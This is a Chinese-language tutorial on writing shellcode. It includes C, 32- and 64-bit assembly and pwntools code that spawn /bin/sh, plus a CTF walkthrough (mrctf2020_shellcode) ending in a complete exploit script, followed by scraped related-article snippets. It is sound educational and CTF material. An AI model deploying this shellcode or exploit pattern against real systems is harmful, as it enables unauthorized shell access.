shellcode编写

shellcode是一段用于利用软件漏洞而执行的代码,通常使用机器语言编写,其目的往往是让攻击者获得目标机器的命令行shell而得名,其他有类似功能的代码也可以称为shellcode。

简单的shellcode

最简单的shellcode就是直接用C语言system函数来调用/bin/sh,代码如下:

# include <stdlib.h>
# include <unistd.h> int main(void)
{
system("/bin/sh");
return 0;
}

编译上述代码生成可执行文件,运行可执行文件便可以获得机器的shell。

上面是用C语言写的,用汇编语言也可以实现。具体思路就是设置好各个寄存器的值,然后触发内中断,执行系统调用。

这里简单介绍一下中断,补充一下背景知识。

对于任何一个通用的CPU,都具备一种能力,可以在执行完当前正在执行的指令之后,检测到从CPU外部发送过来的(外中断)或CPU内部产生的(内中断)一种特殊信息,并且可以立即对所接收到的信息进行处理。这种特殊的信息被称为“中断信息”。中断的意思是指CPU不再接着刚执行完的指令向下执行,而是去处理这个特殊信息。

CPU的内中断有四种情况:(1)除法错误;(2)单步执行;(3)执行into指令;(4)执行int指令。

int指令的格式为:int n,n为中断类型码。CPU执行int n,相当于引发一个n号中断的过程。int 0x80表示引发0x80号中断,而0x80号中断就是系统调用,具体是哪个系统调用,就看寄存器EAX的值,这个值就是系统调用编号。在32位程序中,execve对应的系统调用编号是0xb;在64位程序中,execve对应的系统调用编号是0x3b。关于中断的详细信息可以查阅王爽老师的《汇编语言》,关于系统调用的详细信息可以参考你真的知道什么是系统调用吗?操作系统(linux0.11)的系统调用

32位的shellcode命名为shell32.asm,需要:(1)设置ebx指向/bin/sh(2)ecx=0,edx=0(3)eax=0xb(4)int 0x80触发中断。

global _start
_start:
push "/sh"
push "/bin"
mov ebx, esp ;;ebx="/bin/sh"
xor edx, edx ;;edx=0
xor ecx, ecx ;;ecx=0
mov al, 0xb ;;设置al=0xb,对应系统调用execve
int 0x80

用命令nasm -f elf32 shell32.asm -o shell32.o编译得到shell32.o,用命令ld -m elf_i386 shell32.o -o shell32链接得到shell32,运行即可使用shell。

64位的shellcode命名为shell64.asm,需要:(1)设置rdi指向/bin/sh(2)rsi=0,rdx=0(3)rax=0x3b(4)syscall 进行系统调用。注意,64位不再用int 0x80触发中断,而是直接用syscall进行系统调用。

global _start
_start:
mov rbx, '/bin/sh'
push rbx
push rsp
pop rdi
xor esi, esi
xor edx, edx
push 0x3b
pop rax
syscall

用命令nasm -f elf64 shell64.asm -o shell64.o编译得到shell64.o,用命令ld -m x86_64 shell64.o -o shell64链接得到shell64,运行即可使用shell。

用pwntools快速生成shellcode

pwn工具准备一文中介绍了pwntools的安装,这是一个python的包,也是解决pwn题强有力的武器。

生成32位shellcode的python代码:

from pwn import*
context(log_level = 'debug', arch = 'i386', os = 'linux')
shellcode=asm(shellcraft.sh())

生成64位shellcode的python代码:

from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())

context用来设置运行时全局变量,比如体系结构、操作系统等。

shellcraft用来生成指定体系结构和操作系统下的shellcode,如果没有在context设置全局运行时变量,还可以将shellcraft.sh()完整写成shellcraft.i386.linux.sh()

asm用来生成汇编和反汇编代码,体系结构、操作系统等参数可以通过context来设定,也可以在asm中参数的形式设定。上面的代码如果没有asm()也可以得到正常的结果,但是会显式的直接写出\n,而不是将其识别为换行。

运行上面的python代码就可以生成指定的shellcode。

shellcode实战

看一道简单的题mrctf2020_shellcode,首先用checksec mrctf2020_shellcode查看一下格式和保护,结果表明这是一个64位的程序,没有开启栈溢出保护和NX保护,有可读可写可执行的栈。

然后用sudo chmod +x mrctf2020_shellcode添加可执行权限,执行一下看看情况。

接着将程序拖到IDA Pro 64位中,或者用gdb调试,得到的汇编代码如下:

   0x555555555159 <main+4>     sub    rsp, 0x410
0x555555555160 <main+11> mov rax, qword ptr [rip + 0x2ec9] <stdin@@GLIBC_2.2.5>
0x555555555167 <main+18> mov esi, 0
0x55555555516c <main+23> mov rdi, rax
0x55555555516f <main+26> call setbuf@plt <setbuf@plt> 0x555555555174 <main+31> mov rax, qword ptr [rip + 0x2ea5] <stdout@@GLIBC_2.2.5>
0x55555555517b <main+38> mov esi, 0
0x555555555180 <main+43> mov rdi, rax
0x555555555183 <main+46> call setbuf@plt <setbuf@plt> 0x555555555188 <main+51> mov rax, qword ptr [rip + 0x2eb1] <stderr@@GLIBC_2.2.5>
0x55555555518f <main+58> mov esi, 0
0x555555555194 <main+63> mov rdi, rax
0x555555555197 <main+66> call setbuf@plt <setbuf@plt> 0x55555555519c <main+71> lea rdi, [rip + 0xe61]
0x5555555551a3 <main+78> call puts@plt <puts@plt> 0x5555555551a8 <main+83> lea rax, [rbp - 0x410]
0x5555555551af <main+90> mov edx, 0x400
0x5555555551b4 <main+95> mov rsi, rax
0x5555555551b7 <main+98> mov edi, 0
0x5555555551bc <main+103> mov eax, 0
0x5555555551c1 <main+108> call read@plt <read@plt>
0x5555555551c6 <main+113> mov dword ptr [rbp - 4], eax
0x5555555551c9 <main+116> cmp dword ptr [rbp - 4], 0
0x5555555551cd <main+120> jg main+129 <main+129> 0x5555555551d6 <main+129> lea rax, [rbp - 0x410]
0x5555555551dd <main+136> call rax 0x5555555551df <main+138> mov eax, 0

这段代码比较简单,可以直接分析一下。首先是sub rsp, 0x410是为局部变量开辟空间,接着依次调用了stdinstdoutstderr,然后调用puts在屏幕上打印Show me your magic!。重点是接下来的部分,可以看到调用了read函数,该函数有三个参数,第一个参数表示要读的信息的来源,第二个参数表示存放读入信息的缓冲区,第三个参数表示读的信息的字节数。在C语言函数调用栈中介绍了64位程序中函数调用优先使用寄存器传参,所以edx传入的是第三个参数,rsi传入的是第二个参数,edi传入的第一个参数,表明要读入0x400个字节的数据,存放数据的缓冲区地址是rbp-0x410,从标准输入中读取数据,函数调用的返回值存放在eax寄存器中,read函数的返回值是实际读取的字节数,所以接下来的语句是将实际读取的字节数存入rbp-4的位置,将这个值与0比较,如果大于0(即实际读取的字节数大于0),则跳转到<main+129>的地方执行,将rbp-0x410的值传给rax,然后call rax意味着以rax寄存器存放值为地址,跳转到该处执行接下来的指令。实际上,rbp-0x410就是read函数缓冲区开始的地方,换句话说,这个程序的作用就是将read读取的数据当成指令来执行,如果向程序输入的数据是获取shell的指令,那么我们就可以获取shell了。我们可以用pwntools来构建shellcode,然后发送给程序。

from pwn import *
context(os = 'linux',arch = 'amd64') # checksec告诉我们这是64位程序
p = process('./mrctf2020_shellcode') # 启动进程
shellcode = shellcraft.sh() # 生成shellcode
payload = asm(shellcode) # 构建payload
p.send(payload) # 向进程发送payload
# gdb.attach(p) # 在新终端中用gdb调试进程
p.interactive() # 与进程交互

参考资料

星盟安全团队课程:https://www.bilibili.com/video/BV1Uv411j7fr

CTF竞赛权威指南(Pwn篇)(杨超 编著,吴石 eee战队 审校,电子工业出版社)

汇编语言(第3版)(王爽 著,清华大学出版社)

pwntools官方文档:http://docs.pwntools.com/en/latest/

shellcode编写的更多相关文章

  1. 二、Windows 下 ShellCode 编写初步

    第二章.Windows 下 ShellCode 编写初步 (一)shellcode 定义:最先的 Shell 指的是人机交互界面,ShellCode 是一组能完成我们想要的功能的机器代码,通常以十六进 ...

  2. PWN 菜鸡入门之 shellcode编写 及exploid-db用法示例

    下面我将参考其他资料来一步步示范shellcode的几种编写方式 0x01 系统调用 通过系统调用execve函数返回shell C语言实现: #include<unistd.h> #in ...

  3. 简单shellcode编写

    0x00 介绍 Shellcode 是指经过精心设计的一串指令,一旦注入正在运行的应用程序中即可运行,常用于栈和基于堆的溢出.术语Shellcode意思指的便是用于启动一个命令Shell的已编写好的可 ...

  4. 网络安全(超级详细)零基础带你一步一步走进缓冲区溢出漏洞和shellcode编写!

    零基础带你走进缓冲区溢出,编写shellcode. 写在前面的话:本人是以一个零基础者角度来带着大家去理解缓冲区溢出漏洞,当然如果你是开发者更好. 注:如果有转载请注明出处!创作不易.谢谢合作. 0. ...

  5. 缓冲区溢出利用与ShellCode编写

    一.实验目的 熟悉编写shellCode的流程 掌握缓冲区溢出的利用 二.实验环境 系统环境:Windows环境 软件环境:C++ ,缓冲区溢出文件链接 三.实验原理 要实施一次有效的缓冲区溢出攻击, ...

  6. Linux下shellcode的编写

    Linux下shellcode的编写 来源  https://xz.aliyun.com/t/2052 EdvisonV / 2018-02-14 22:00:42 / 浏览数 6638 技术文章 技 ...

  7. 编写X86的ShellCode

    ShellCode 定义 ShellCode是不依赖环境,放到任何地方都能够执行的机器码 编写ShellCode的方式有两种,分别是用编程语言编写或者用ShellCode生成器自动生成 ShellCo ...

  8. 【笔记】shellcode相关整理

    0x01:shellcode定义 Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限.另外,Shellcode一般是作为数据发送给受攻击服务器 ...

  9. Shellcode入门

    Shellcode入门 一.shellcode基础知识 Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限.另外,Shellcode一般是作为 ...

随机推荐

  1. ES6-11学习笔记--类与继承

    ES5 中的类与继承: 类的定义: function People(name, age) { // this指向当前实例化对象 console.log(this); // 实例属性 this.name ...

  2. 我的python学习记_02

    流程控制 算术运算符: + 加(在字符串中拼接作用) - 减 * 乘 / 除 // 商 % 取余 ** 次幂 比较运算符: > 是否大于 >= 是否大于等于 < 是否小于 != 是否 ...

  3. jsp+servlet上传excel并将数据导入到数据库表的实现方法

    <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding= ...

  4. 类其中的变量为final时的用法

    类其中的变量为final时的用法:   类当中final变量没有初始缺省值,必须在构造函数中赋值或直接当时赋值.否则报错. public class Test {     final int i;   ...

  5. PostgreSQL执行计划:Bitmap scan VS index only scan

    之前了解过postgresql的Bitmap scan,只是粗略地了解到是通过标记数据页面来实现数据检索的,执行计划中的的Bitmap scan一些细节并不十分清楚.这里借助一个执行计划来分析bitm ...

  6. 攻防世界——gif

    分析 只有黑白两种颜色,大小均一样.考虑代表着二进制. python脚本 ''' 同样颜色的图片的二进制数据都相同 编写思路:取二进制 -> 转ascii码 ''' white = open(r ...

  7. 线程的概念及Thread模块的使用

    线程 一.什么是线程? 我们可以把进程理解成一个资源空间,真正被CPU执行的就是进程里的线程. 一个进程中最少会有一条线程,同一进程下的每个线程之间资源是共享的. 二.开设线程的两种方式 开设进程需要 ...

  8. C#+Access 员工信息管理--简单的增删改查操作和.ini配置文件的读写操作。

    1.本程序的使用的语言是C#,数据库是Access2003.主要是对员工信息进行简单的增删改查操作和对.ini配置文件的读写操作. 2.代码运行效果如下: 功能比较简单.其中在得到查询结果后,在查询结 ...

  9. 『忘了再学』Shell基础 — 11、变量定义的规则和分类

    目录 1.定义变量的规则 2.变量的分类 1.定义变量的规则 在定义变量时,有一些规则需要遵守 变量名称可以由字母.数字和下划线组成,但是不能以数字开头.如果变量名是2name则是错误的. 在Bash ...

  10. ArcGIS使用技巧(三)——关于投影

    新手,若有错误还请指正! 简单记录一下自己所理解的ArcGIS中的有关投影的知识点. 在数据处理过程中,基本都是需要将相关数据放在同一投影坐标系下,需要用到投影转换工具,但若有的数据没有坐标信息,则首 ...